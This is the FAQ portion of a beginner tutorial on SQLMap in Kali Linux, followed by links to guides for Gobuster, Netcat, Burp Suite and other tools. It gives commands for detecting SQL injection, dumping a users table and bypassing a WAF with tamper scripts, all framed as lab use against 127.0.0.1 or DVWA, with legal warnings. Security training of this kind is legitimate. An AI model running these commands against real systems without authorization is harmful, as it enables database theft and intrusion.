    Yes. Use --crawl=1 to follow links from the starting URL and --forms to test the forms it finds, for example: sqlmap -u "http://127.0.0.1/" --crawl=1 --forms --batch. For a form behind a login, capture the request in Burp Suite and test it with sqlmap -r request.txt instead.

    Is SQLMap legal to use?

    SQLMap itself is a legal open-source tool, but running it against a system you do not own or lack written permission to test is unauthorized testing and can be illegal. Only use it on your own lab (such as DVWA), a deliberately vulnerable practice site, or a target inside a written penetration-testing engagement.

    What are the most useful SQLMap commands for beginners?

    Start with sqlmap -u "http://127.0.0.1/page?id=1" --batch to test a parameter, then --dbs to list databases, -D shop_db --tables to list tables, and -T users --dump to read rows - always in your own lab. Add --level=2 and --cookie when the page sits behind a login, and --tamper=space2comment when a WAF blocks the scan. The full flag list is in the SQLMap Commands reference above.

    How do I update SQLMap on Kali Linux?

    Run sudo apt update && sudo apt install sqlmap, then check with sqlmap --version. If you installed from source, run git pull inside the sqlmap checkout or python3 sqlmap.py --update. Kali's packaged version can lag behind the git repository, so an outdated warning does not always mean apt has a newer version - check with apt-cache policy sqlmap.

    Why is SQLMap so slow and how do I speed it up?

    SQLMap sends thousands of requests, and time-based checks wait seconds per payload, so a full scan is slow by design. Speed it up with --threads=3, --batch, --technique to test only one technique, and --level=1 --risk=1 for a quick first pass. If it is still slow, raise --time-sec on a slow network or check whether a WAF or rate limit is throttling you.

    What do --level and --risk do in SQLMap?

    --level (1-5) controls how many tests SQLMap runs and which inputs it tests: level 1 covers GET and POST parameters, level 2 adds cookies, level 3 adds User-Agent and Referer headers, and levels 4-5 test more headers and inputs. --risk (1-3) controls how disruptive the payloads are: risk 1 is the safe default, risk 2 adds heavy time-based tests, and risk 3 adds OR-based and stacked-query tests that can change data - never use risk 3 outside a lab.

    Can SQLMap test JSON or GraphQL endpoints?

    Yes, for JSON: hand SQLMap the request with -r request.txt or --data with a JSON body, and it tests the values it can parse. For GraphQL, pass the raw request the same way - SQLMap tests the query variables as parameters, but it does not understand GraphQL schemas or resolver logic, so confirm any finding by hand.

    What is the difference between SQLMap and Nmap?

    Nmap is a network scanner: it finds hosts, open ports and services. SQLMap is a SQL injection tool: it tests web parameters and takes over databases. Use Nmap first to map the target, then SQLMap on the web application itself - an Nmap script finding is not proof of SQL injection.

    Continue Learning

    Tools · Beginner

    How to Use Gobuster: Beginner's Guide to Directory, DNS & VHost Enumeration in Kali Linux

    Learn how to use Gobuster in Kali Linux — dir, DNS and vhost modes, wordlists, and a worked DVWA example, with a cheat sheet and troubleshooting.

    Tools · Beginner

    How to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux

    Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.

    Tools · Beginner

    How to Use Netcat: Beginner's Guide to the nc Command in Kali Linux

    How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.

    Tools · Beginner

    How to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux

    Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.

    Related Security Tools

    Web Application

    SQLMap

    SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.

    Vulnerability Analysis

    Nikto

    Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.

    Web Application

    Burp Suite

    Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.

    Stress Testing

    hping3

    hping3 is a command-line network tool for crafting, sending, and analyzing custom TCP/IP packets. Built for firewall testing, port scanning, OS fingerprinting, path MTU discovery, and authorized stress testing, it gives you control over nearly every field of the TCP, UDP, ICMP, and raw IP headers — the flags, sequence numbers, window size, TTL, fragmentation, and payload — and then shows you exactly how the target answers. Where Nmap runs predefined scan types, hping3 is the packet workbench you reach for when the question is "what does the firewall do with THIS exact packet?" It runs on raw sockets (so it needs root), supports scan and listen modes, and includes a Tcl scripting engine for automating protocol experiments in a lab.

    Written by GO KALI FREE Team